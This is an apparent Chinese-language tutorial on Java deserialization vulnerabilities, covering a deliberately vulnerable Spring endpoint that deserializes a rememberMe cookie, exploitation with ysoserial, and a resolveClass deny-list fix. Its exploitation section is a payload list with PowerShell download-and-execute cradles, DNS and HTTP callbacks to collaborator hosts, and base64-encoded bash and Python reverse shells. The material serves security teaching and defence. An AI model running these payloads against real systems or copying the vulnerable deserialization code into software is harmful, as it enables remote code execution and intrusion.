一、漏洞原理
Serialization(序列化)：将java对象以一连串的字节保存在磁盘文件中的过程，也可以说是保存java对象状态的过程。
deserialization(反序列化)：将保存在磁盘文件中的java字节码重新转换成java对象称为反序列化。
Java程序使用ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制，那么攻击者即可通过构造恶意输入，让反序列化产生非预期 的对象，在此过程中执行构造的任意代码。
漏洞代码示例
代码语言：javascript复制......
//读取输入流,并转换对象
InputStream in=request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(in);
//恢复对象
ois.readObject();
ois.close();
Java程序使用ObjectInputStream对象的readObject方法将反序 列化数据转换为java对象。但当输入的反序列化的数据可被用户控 制，那么攻击者即可通过构造恶意输入，让反序列化产生非预期的 对象，在此过程中执行构造的任意代码。核心代码：
代码语言：javascript复制/**
* java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
* Add the result to rememberMe cookie.
* <p>
* http://localhost:8080/deserialize/rememberMe/vuln
*/
@RequestMapping("/rememberMe/vuln")
public String rememberMeVul(HttpServletRequest request)
throws IOException, ClassNotFoundException {
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
if (null == cookie) {
return "No rememberMe cookie. Right?";
}
String rememberMe = cookie.getValue();
byte[] decoded = Base64.getDecoder().decode(rememberMe);
ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
ObjectInputStream in = new ObjectInputStream(bytes);
in.readObject();
in.close();
return "Are u ok?";
}
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代码相对来说也比较简单使用Java程序中类ObjectInputStream的 readObject方法被用来将数据流反序列化为对象，如果流中的对象 是class，则它的ObjectStreamClass描述符会被读取，并返回相应 的class对象，ObjectStreamClass包含了类的名称及 serialVersionUID。二、利用方式
使用ysoserial.jar生成payload
代码语言：javascript复制jjava -jar ysoserial.jar CommonsCollections5 "cmd /c calc" | base64 -w0
rememberMe=rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMam...
（向右滑动，查看更多）访问页面 ：http://127.0.0.1:8080/deserialize/rememberMe/vuln
ysoserial.jar是java反序列化工具集。
下载地址：https://github.com/angelwhu/ysoserial
ysoserial使用poc文档：
https://book.hacktricks.xyz/pentesting-web/deserialization#java-http
代码语言：javascript复制# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\Users\\username\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request ( DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request ( DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
（向右滑动，查看更多）三、修复方式
修复方式是通过Hook resolveClass来校验反序列化的类。
序列化数据结构可以了解到包含了类的名称及serialVersionUID 的ObjectStreamClass描述符在序列化对象流的前面位置，且在 readObject反序列化时首先会调用resolveClass读取反序列化的 类名，所以这里通过重写ObjectInputStream对象的 resolveClass方法即可实现对反序列化类的校验。这个方法最早 是由IBM的研究人员Pierre Ernst在2013年提出《Look-ahead Java deserialization》
修复代码
代码语言：javascript复制/**
* Check deserialize class using black list.
* <p>
* http://localhost:8080/deserialize/rememberMe/security
*/
@RequestMapping("/rememberMe/security")
public String rememberMeBlackClassCheck(HttpServletRequest request)
throws IOException, ClassNotFoundException {
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
if (null == cookie) {
return "No rememberMe cookie. Right?";
}
String rememberMe = cookie.getValue();
byte[] decoded = Base64.getDecoder().decode(rememberMe);
ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
try {
AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException
in.readObject();
in.close();
} catch (InvalidClassException e) {
logger.info(e.toString());
return e.toString();
}
return "I'm very OK.";
}
（向右滑动，查看更多）跟入后对应代码
代码语言：javascript复制/**
* 只允许反序列化SerialObject class
*
* 在应用上使用黑白名单校验方案比较局限，因为只有使用自己定义的AntObjectInputStream类，进行反序列化才能进行校验。
* 类似fastjson通用类的反序列化就不能校验。
* 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法，全局的检测白名单。
*
*/
@Override
protected Class<?> resolveClass(final ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String className = desc.getName();
// Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject
logger.info("Deserialize class name: " className);
String[] denyClasses = {"java.net.InetAddress",
"org.apache.commons.collections.Transformer",
"org.apache.commons.collections.functors"};
for (String denyClass : denyClasses) {
if (className.startsWith(denyClass)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}
return super.resolveClass(desc);
}
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